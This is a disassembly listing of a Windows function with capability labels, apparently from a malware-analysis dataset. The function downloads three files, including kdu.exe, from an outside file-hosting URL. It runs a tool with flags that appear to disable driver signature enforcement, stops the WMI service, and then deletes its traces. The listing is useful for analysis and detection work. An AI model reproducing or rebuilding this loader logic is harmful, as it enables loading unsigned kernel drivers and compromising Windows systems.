Function at 0x140003420
Capabilities:
Delete file
Download url
Execute command
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
mov ebx, edi
lea rsi, str.abcdefghi9182345jklmnopqrstuv211935960473wxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub r8d, ecx
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
add word [rsp + rbx*2 + 0x60], cx
inc rbx
cmp rbx, 0xf
jne 0x140003460
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov qword [rsp + 0x20], rdi
lea r9d, [rbx + 1]
lea r8, [0x140008968]
lea rdx, str.https:__filebin.sourcepaint.cz_6ns9hgpktse96i47_Taigei64.dll
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], rdi
lea r9d, [rbx + 1]
lea r8, [0x140008a20]
lea rdx, str.https:__filebin.sourcepaint.cz_6ns9hgpktse96i47_drv64.dll
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], rdi
lea r9d, [rbx + 1]
lea r8, [0x140008ac8]
lea rdx, str.https:__filebin.sourcepaint.cz_6ns9hgpktse96i47_kdu.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:Windows_aa.exe__prv_13__dse_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], rdi
mov ecx, 0x2227
call fcn.140005fb4
test rax, rax
je 0x140003650
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rsp + 0x60], rcx
lea rbx, [rcx + 0x2200]
mov qword [rsp + 0x70], rbx
mov r8d, 0x2200
lea rdx, [0x14000c0b0]
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.140002e50
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400035af
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003650
call fcn.140005ff0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400035e8
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003650
call fcn.140005ff0
lea rcx, str.C:Windows_aa.exe__prv_13__dse_6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsTaigei64.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Windowsdrv64.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Windows_aa.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140005eb0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3